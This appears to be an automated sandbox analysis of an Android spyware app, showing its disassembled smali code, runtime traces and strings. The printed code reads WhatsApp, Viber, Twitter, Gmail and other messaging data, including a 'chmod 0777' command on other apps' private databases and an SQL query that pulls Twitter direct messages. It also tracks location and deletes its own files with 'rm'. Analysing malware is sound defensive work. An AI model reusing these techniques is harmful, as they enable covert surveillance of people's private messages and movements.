        • p0: NetworkReceiver: 2.9.3 action:android.intent.action.BOOT_COMPLETED apkPAth: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apk
      • Time: 1203923
        • p0: NetworkReceiver: 2.9.3 action:android.provider.Telephony.SMS_RECEIVED apkPAth: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apk
      32const-string v1, "android.net.conn.CONNECTIVITY_CHANGE"
      34invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      35move-result v0
      36if-eqz v0, :cond_58
      38iget-object v0, p0, Lcom/network/android/agent/g;->b:Landroid/content/Context;
      40const-string v1, "phone"
      42invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      43move-result-object v0
      44check-cast v0, Landroid/telephony/TelephonyManager;
      46iget-object v1, p0, Lcom/network/android/agent/g;->b:Landroid/content/Context;
      48const-string v2, "connectivity"
      50invoke-virtual {v1, v2}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      51move-result-object v1
      52check-cast v1, Landroid/net/ConnectivityManager;
      54iget-object v2, p0, Lcom/network/android/agent/g;->b:Landroid/content/Context;
      55const/4 v3, 0x1
      57invoke-static {v0, v2, v3, v1}, Lcom/network/android/j;->a(Landroid/telephony/TelephonyManager;Landroid/content/Context;ZLandroid/net/ConnectivityManager;)Z
      58move-result v0
      59if-nez v0, :cond_58
      60sget-boolean v0, Lcom/network/android/j;->c:Z
      61if-nez v0, :cond_58
      63iget-object v0, p0, Lcom/network/android/agent/g;->b:Landroid/content/Context;
      65const-string v1, "httpPing"
      67invoke-static {v0, v1}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      68try_end_58: return-void
      69catch_59: move-exception v0
      70new-instance v1, Ljava/lang/StringBuilder;
      72const-string v2, "NetworkReceiver onReceive- "
      74invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      76invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      77move-result-object v2
      79invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      80move-result-object v1
      82invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      83move-result-object v1
      85invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      86goto/16 :goto_58
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getCause
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • rm
      • /*.*
      • deleteAllKsFiles calling:
      • deleteAllKsFiles calling: rm /data/local/tmp/ktmu/*.*
      • /system/csk
      • rm /data/local/tmp/ktmu/*.*
      • deleteAllKsFiles exception:
      Position Instruction Meta Information
      0try_start_0: new-instance v0, Ljava/lang/StringBuilder;
      2const-string v1, "rm "
      4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      6sget-object v1, Lcom/network/d/a;->a:Ljava/lang/String;
      8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      9move-result-object v0
      11const-string v1, "/*.*"
      13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      14move-result-object v0
      16invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      17move-result-object v0
      18new-instance v1, Ljava/lang/StringBuilder;
      20const-string v2, "deleteAllKsFiles calling: "
      22invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      24invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      25move-result-object v1
      27invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      28move-result-object v1
      30invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079642
        • p0: deleteAllKsFiles calling: rm /data/local/tmp/ktmu/*.*
      32invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      • Time: 1079645
        • This:
          • /system/csk
        • p0: /system/csk
        • Return:
          • /system/csk
      • Time: 1079651
        • p0: rm /data/local/tmp/ktmu/*.*
      33goto_2c: return-void
      34catch_2d: move-exception v0
      35new-instance v1, Ljava/lang/StringBuilder;
      37const-string v2, "deleteAllKsFiles exception: "
      39invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      41invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      42move-result-object v2
      44invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      45move-result-object v1
      47const-string v2, " "
      49invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      50move-result-object v1
      52invoke-virtual {v0}, Ljava/lang/Throwable;->getCause()Ljava/lang/Throwable;
      53move-result-object v0
      55invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      56move-result-object v0
      58invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      59move-result-object v0
      61invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      62goto/16 :goto_2c
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.available
      • java.io.FileInputStream.read
      • java.io.FileInputStream.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • android.os.Handler.<init>
      • android.os.Handler.postDelayed
      Strings
      • playWeaknessAndRemoveApplication start!
      • /data/data/com.network.android/output.mp3
      • playWeaknessAndRemoveApplication file does not exists. returning!
      • /data/data/com.network.android
      • playWeaknessAndRemoveApplication vulnarbility is empty. returning!
      • playWeaknessAndRemoveApplication exception:
      • playWeaknessAndRemoveApplication end
      Position Instruction Meta Information
      0const/4 v1, 0x0
      1try_start_1:
      2const-string v0, "playWeaknessAndRemoveApplication start!"
      4invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079732
        • p0: playWeaknessAndRemoveApplication start!
      5new-instance v0, Ljava/io/File;
      7const-string v2, "/data/data/com.network.android/output.mp3"
      9invoke-direct {v0, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1079734
        • This:
          • /data/data/com.network.android/output.mp3
        • p0: /data/data/com.network.android/output.mp3
        • Return:
          • /data/data/com.network.android/output.mp3
      11invoke-virtual {v0}, Ljava/io/File;->exists()Z
      12move-result v2
      13if-nez v2, :cond_19
      15const-string v0, "playWeaknessAndRemoveApplication file does not exists. returning!"
      17invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079738
        • p0: playWeaknessAndRemoveApplication file does not exists. returning!
      18goto_18: return-void
      19cond_19: new-instance v2, Ljava/io/FileInputStream;
      21invoke-direct {v2, v0}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      22try_start_1e:
      23invoke-virtual {v2}, Ljava/io/FileInputStream;->available()I
      24move-result v0
      25new-array v1, v0, [B
      27invoke-virtual {v2, v1}, Ljava/io/FileInputStream;->read([B)I
      29invoke-virtual {v2}, Ljava/io/FileInputStream;->close()V
      31const-string v0, "/data/data/com.network.android"
      33invoke-static {v0}, Lcom/network/h/b;->a(Ljava/lang/String;)V
      34array-length v0, v1
      35if-nez v0, :cond_5b
      37const-string v0, "playWeaknessAndRemoveApplication vulnarbility is empty. returning!"
      39invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      40try_end_37: goto/16 :goto_18
      41catch_38: move-exception v0
      42move-object v1, v2
      43goto_3a: new-instance v2, Ljava/lang/StringBuilder;
      45const-string v3, "playWeaknessAndRemoveApplication exception: "
      47invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      49invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      50move-result-object v3
      52invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      53move-result-object v2
      55invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      56move-result-object v2
      58invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      59if-eqz v1, :cond_55
      60try_start_52:
      61invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
      62goto_55:
      63const-string v0, "playWeaknessAndRemoveApplication end"
      65invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      66goto/16 :goto_18
      67cond_5b: const/4 v0, 0x4
      68goto_5c: const/16 v3, 0x1e
      69if-ge v0, v3, :cond_55
      70try_start_60: new-instance v3, Landroid/os/Handler;
      72invoke-direct {v3}, Landroid/os/Handler;-><init>()V
      73new-instance v4, Lcom/network/h/i;
      75invoke-direct {v4, v1}, Lcom/network/h/i;-><init>([B)V
      76mul-int/lit16 v5, v0, 0x1388
      77int-to-long v5, v5
      79invoke-virtual {v3, v4, v5, v6}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      80try_end_70: add-int/lit8 v0, v0, 0x1
      81goto/16 :goto_5c
      82catch_73: move-exception v0
      83goto/16 :goto_55
      84catch_75: move-exception v0
      85goto/16 :goto_3a
      Cross References
      APIs
      • com.network.android.agent.NetworkApp.getSystemService
      • com.network.android.agent.NetworkApp.a
      • com.network.android.agent.NetworkApp.a
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • alarm
      • wake up
      • keyboard
      • viber
      • skype
      • whatsUp
      • facebook
      • kakao
      • twitter
      • gmail
      • GMail
      • NetworkApp setAlarms exception
      Position Instruction Meta Information
      0const v9, 0xea60
      1const/4 v7, 0x0
      2try_start_4:
      3const-string v0, "alarm"
      5invoke-virtual {p0, v0}, Lcom/network/android/agent/NetworkApp;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      6move-result-object v6
      7check-cast v6, Landroid/app/AlarmManager;
      9const-string v5, "wake up"
      10const-wide/16 v1, 0x7530
      11const-wide/32 v3, 0xea60
      12move-object v0, p0
      14invoke-static/range {v0 .. v6}, Lcom/network/android/agent/NetworkApp;->a(Landroid/content/Context;JJLjava/lang/String;Landroid/app/AlarmManager;)V
      16invoke-static {p0, v6}, Lcom/network/g/a;->a(Landroid/content/Context;Landroid/app/AlarmManager;)V
      18invoke-static {}, Lcom/network/b/b;->c()Z
      • Time: 1074505
        • Return:
          • false
      19move-result v0
      20if-eqz v0, :cond_80
      21const/16 v0, 0x9
      22new-array v8, v0, [Ljava/lang/String;
      23const/4 v0, 0x0
      25const-string v1, "keyboard"
      26aput-object v1, v8, v0
      27const/4 v0, 0x1
      29const-string v1, "viber"
      30aput-object v1, v8, v0
      31const/4 v0, 0x2
      33const-string v1, "skype"
      34aput-object v1, v8, v0
      35const/4 v0, 0x3
      37const-string v1, "whatsUp"
      38aput-object v1, v8, v0
      39const/4 v0, 0x4
      41const-string v1, "facebook"
      42aput-object v1, v8, v0
      43const/4 v0, 0x5
      45const-string v1, "kakao"
      46aput-object v1, v8, v0
      47const/4 v0, 0x6
      49const-string v1, "twitter"
      50aput-object v1, v8, v0
      51const/4 v0, 0x7
      53const-string v1, "gmail"
      54aput-object v1, v8, v0
      55const/16 v0, 0x8
      57const-string v1, "GMail"
      58aput-object v1, v8, v0
      59goto_52: array-length v0, v8
      60if-ge v7, v0, :cond_80
      61mul-int v0, v9, v7
      62const v1, 0x11170
      63add-int/2addr v0, v1
      64int-to-long v1, v0
      65array-length v0, v8
      66mul-int/2addr v0, v9
      67int-to-long v3, v0
      68aget-object v5, v8, v7
      69move-object v0, p0
      71invoke-static/range {v0 .. v6}, Lcom/network/android/agent/NetworkApp;->a(Landroid/content/Context;JJLjava/lang/String;Landroid/app/AlarmManager;)V
      72try_end_65: add-int/lit8 v0, v7, 0x1
      73move v7, v0
      74goto/16 :goto_52
      75catch_69: move-exception v0
      76new-instance v1, Ljava/lang/StringBuilder;
      78const-string v2, "NetworkApp setAlarms exception "
      80invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      82invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      83move-result-object v2
      85invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      86move-result-object v1
      88invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      89move-result-object v1
      91invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      92cond_80: return-void
      Cross References
      APIs
      • java.util.List.iterator
      • java.util.Iterator.hasNext
      • java.util.Iterator.next
      • java.io.File.<init>
      • java.io.File.getName
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • getTwitterApp getTwitterApp start
      • /data/data/com.twitter.android/databases/
      • twitter
      • /data/data/com.twitter.android/
      • SELECT messages._id, messages.type, messages.msg_id, messages.content, messages.created, messages.sender_id, messages.recipient_id, messages.thread, s.name, s.username, r.name, r.username FROM messages JOIN users s ON messages.sender_id = s.user_id JOIN users r ON messages.recipient_id = r.user_id
      • messages.created
      • chmod 0777 /data/data/com.twitter.android; chmod 0777 /data/data/com.twitter.android/databases;
      • twittergetTwitterApp GetContentIM exception-
      • getTwitterApp GetContentIM end
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "getTwitterApp getTwitterApp start"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068637
        • p0: getTwitterApp getTwitterApp start
      5const-string v0, "/data/data/com.twitter.android/databases/"
      7sget-object v1, Lcom/network/android/d/g;->c:Ljava/util/regex/Pattern;
      9const-string v2, "twitter"
      11invoke-static {v0, v1, v2}, Lcom/network/android/d/g;->a(Ljava/lang/String;Ljava/util/regex/Pattern;Ljava/lang/String;)Ljava/util/List;
      12move-result-object v0
      14invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
      15move-result-object v13
      16goto_13:
      17invoke-interface {v13}, Ljava/util/Iterator;->hasNext()Z
      18move-result v0
      19if-eqz v0, :cond_58
      21invoke-interface {v13}, Ljava/util/Iterator;->next()Ljava/lang/Object;
      22move-result-object v5
      23check-cast v5, Ljava/lang/String;
      25const-string v3, "twitter"
      27const-string v4, "/data/data/com.twitter.android/"
      29const-string v6, "SELECT messages._id, messages.type, messages.msg_id, messages.content, messages.created, messages.sender_id, messages.recipient_id, messages.thread, s.name, s.username, r.name, r.username FROM messages JOIN users s ON messages.sender_id = s.user_id JOIN users r ON messages.recipient_id = r.user_id"
      31const-string v7, "messages.created"
      33const-string v8, "chmod 0777 /data/data/com.twitter.android; chmod 0777 /data/data/com.twitter.android/databases; "
      35sget-object v9, Lcom/network/android/d/g;->e:Ljava/lang/String;
      37sget-object v10, Lcom/network/android/d/g;->d:Ljava/util/Map;
      38const/16 v11, 0xc3c
      39new-instance v0, Ljava/io/File;
      41invoke-direct {v0, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      43invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
      44move-result-object v12
      45move-object v0, p0
      46move-object v1, p1
      47move/from16 v2, p2
      49invoke-static/range {v0 .. v12}, Lcom/network/android/d/g;->a(Landroid/os/Handler;Landroid/content/Context;ZLjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/util/Map;SLjava/lang/String;)V
      50try_end_3f: goto/16 :goto_13
      51catch_40: move-exception v0
      52new-instance v1, Ljava/lang/StringBuilder;
      54const-string v2, "twittergetTwitterApp GetContentIM exception- "
      56invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      58invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      59move-result-object v2
      61invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      62move-result-object v1
      64invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      65move-result-object v1
      67invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      68goto_57: return-void
      69cond_58:
      70const-string v0, "getTwitterApp GetContentIM end"
      72invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068666
        • p0: getTwitterApp GetContentIM end
      73try_end_5d: goto/16 :goto_57
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Intent.<init>
      • android.content.Intent.setAction
      • android.app.PendingIntent.getBroadcast
      • java.lang.System.currentTimeMillis
      • android.app.AlarmManager.set
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • PollingManager setPollingPing - next ping pollingInterval (Ms):
      • (minutes):
      • PollingManager setPollingPing - next ping pollingInterval (Ms): 1800000 (minutes):30
      • httpPingPolling
      • PollingManager startPolling exception -
      Position Instruction Meta Information
      0mul-int/lit16 v0, p1, 0x3e8
      1try_start_2: new-instance v1, Ljava/lang/StringBuilder;
      3const-string v2, "PollingManager setPollingPing - next ping pollingInterval (Ms): "
      5invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      7invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      8move-result-object v1
      10const-string v2, " (minutes):"
      12invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      13move-result-object v1
      14const v2, 0xea60
      15div-int v2, v0, v2
      17invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      18move-result-object v1
      20invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      21move-result-object v1
      23invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074496
        • p0: PollingManager setPollingPing - next ping pollingInterval (Ms): 1800000 (minutes):30
      24new-instance v1, Landroid/content/Intent;
      25const-class v2, Lcom/network/location/PingReceiver;
      27invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      29const-string v2, "httpPingPolling"
      31invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
      32const/4 v2, 0x0
      33const/4 v3, 0x0
      35invoke-static {p0, v2, v1, v3}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
      36move-result-object v1
      37const/4 v2, 0x0
      39invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      40move-result-wide v3
      41int-to-long v5, v0
      42add-long/2addr v3, v5
      44invoke-virtual {p2, v2, v3, v4, v1}, Landroid/app/AlarmManager;->set(IJLandroid/app/PendingIntent;)V
      45try_end_3f: return-void
      46catch_40: move-exception v0
      47new-instance v1, Ljava/lang/StringBuilder;
      49const-string v2, "PollingManager startPolling exception - "
      51invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      53invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      54move-result-object v2
      56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      57move-result-object v1
      59invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      60move-result-object v1
      62invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      63goto/16 :goto_3f
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • viber
      • getViberApp getViberApp start
      • /data/data/com.viber.voip/
      • /data/data/com.viber.voip/databases/viber_messages
      • msg_date
      • chmod 0777 /data/data/com.viber.voip/;chmod 0777 /data/data/com.viber.voip/databases/viber_messages;chmod 0777 /data/data/com.viber.voip/databases/viber_messages-journal;
      • getViberApp GetContentIM end
      • getViberApp GetContentIM exception-
      Position Instruction Meta Information
      1const-string v3, "viber"
      2try_start_2:
      3const-string v0, "getViberApp getViberApp start"
      5invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068709
        • p0: getViberApp getViberApp start
      7const-string v4, "/data/data/com.viber.voip/"
      9const-string v5, "/data/data/com.viber.voip/databases/viber_messages"
      11sget-object v6, Lcom/network/android/d/i;->d:Ljava/lang/String;
      13const-string v7, "msg_date"
      15const-string v8, "chmod 0777 /data/data/com.viber.voip/;chmod 0777 /data/data/com.viber.voip/databases/viber_messages;chmod 0777 /data/data/com.viber.voip/databases/viber_messages-journal;"
      17sget-object v9, Lcom/network/android/d/i;->e:Ljava/lang/String;
      19sget-object v10, Lcom/network/android/d/i;->c:Ljava/util/Map;
      20sget-short v11, Lcom/network/android/d/i;->f:S
      21move-object v0, p0
      22move-object v1, p1
      23move v2, p2
      25invoke-static/range {v0 .. v11}, Lcom/network/android/d/i;->a(Landroid/os/Handler;Landroid/content/Context;ZLjava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/util/Map;S)V
      27const-string v0, "getViberApp GetContentIM end"
      29invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068723
        • p0: getViberApp GetContentIM end
      30goto_22: return-void
      31catch_23: move-exception v0
      32new-instance v1, Ljava/lang/StringBuilder;
      34invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      36invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      37move-result-object v1
      39const-string v2, "getViberApp GetContentIM exception- "
      41invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      42move-result-object v1
      44invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      45move-result-object v2
      47invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      48move-result-object v1
      50invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      51move-result-object v1
      53invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      54goto/16 :goto_22
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.System.currentTimeMillis
      Strings
      • NetworkApp locationMonitorTimeLimit:
      • NetworkApp locationMonitorTimeLimit: 0
      • NetworkApp locationMonitorSampleRateLong:
      • NetworkApp locationMonitorSampleRateLong: 0
      • NetworkApp locationMonitor:
      Position Instruction Meta Information
      0const-wide/16 v8, 0x0
      1try_start_2:
      2invoke-static {}, Lcom/network/b/b;->v()J
      3move-result-wide v0
      5invoke-static {}, Lcom/network/b/b;->w()J
      6move-result-wide v2
      7new-instance v4, Ljava/lang/StringBuilder;
      9const-string v5, "NetworkApp locationMonitorTimeLimit: "
      11invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      13invoke-virtual {v4, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      14move-result-object v4
      16invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      17move-result-object v4
      19invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079384
        • p0: NetworkApp locationMonitorTimeLimit: 0
      20new-instance v4, Ljava/lang/StringBuilder;
      22const-string v5, "NetworkApp locationMonitorSampleRateLong: "
      24invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      26invoke-virtual {v4, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      27move-result-object v4
      29invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      30move-result-object v4
      32invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079409
        • p0: NetworkApp locationMonitorSampleRateLong: 0
      33cmp-long v4, v2, v8
      34if-nez v4, :cond_33
      35goto_32: return-void
      36cond_33: cmp-long v4, v0, v8
      37if-nez v4, :cond_53
      39invoke-static {p0, v2, v3, v0, v1}, Lcom/network/android/a/c;->a(Landroid/content/Context;JJ)V
      40try_end_3a: goto/16 :goto_32
      41catch_3b: move-exception v0
      42new-instance v1, Ljava/lang/StringBuilder;
      44const-string v2, "NetworkApp locationMonitor: "
      46invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      48invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      49move-result-object v2
      51invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      52move-result-object v1
      54invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      55move-result-object v1
      57invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      58goto/16 :goto_32
      59cond_53:
      60invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      61move-result-wide v4
      62const-wide/16 v6, 0x3e8
      63div-long/2addr v4, v6
      64sub-long/2addr v0, v4
      65cmp-long v4, v0, v8
      66if-lez v4, :cond_32
      68invoke-static {p0, v2, v3, v0, v1}, Lcom/network/android/a/c;->a(Landroid/content/Context;JJ)V
      69try_end_62: goto/16 :goto_32
      Cross References
      APIs
      • android.content.Intent.<init>
      • android.app.PendingIntent.getBroadcast
      • android.content.Context.getSystemService
      • android.app.AlarmManager.cancel
      • android.content.Intent.<init>
      • android.content.Intent.setAction
      • android.app.PendingIntent.getBroadcast
      • android.app.AlarmManager.cancel
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • MO locationAlarmStop
      • alarm
      • finishLocationMonitor
      • MO locationAlarmStop exception-
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "MO locationAlarmStop"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079556
        • p0: MO locationAlarmStop
      4new-instance v0, Landroid/content/Intent;
      5const-class v1, Lcom/network/location/OnAlarmReceiver;
      7invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      8const/4 v1, 0x0
      9const/4 v2, 0x0
      11invoke-static {p0, v1, v0, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
      12move-result-object v1
      14const-string v0, "alarm"
      16invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      • Time: 1079560
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: alarm
        • Return:
          • android.app.AlarmManager@b4cf7
      17move-result-object v0
      18check-cast v0, Landroid/app/AlarmManager;
      20invoke-virtual {v0, v1}, Landroid/app/AlarmManager;->cancel(Landroid/app/PendingIntent;)V
      • Time: 1079562
        • This:
          • android.app.AlarmManager@b4cf7
        • operation: PendingIntent{44d3764: android.os.BinderProxy@7193dcd}
      21new-instance v1, Landroid/content/Intent;
      22const-class v2, Lcom/network/media/CoreReceiver;
      24invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      26const-string v2, "finishLocationMonitor"
      28invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
      29const/4 v2, 0x0
      30const/4 v3, 0x0
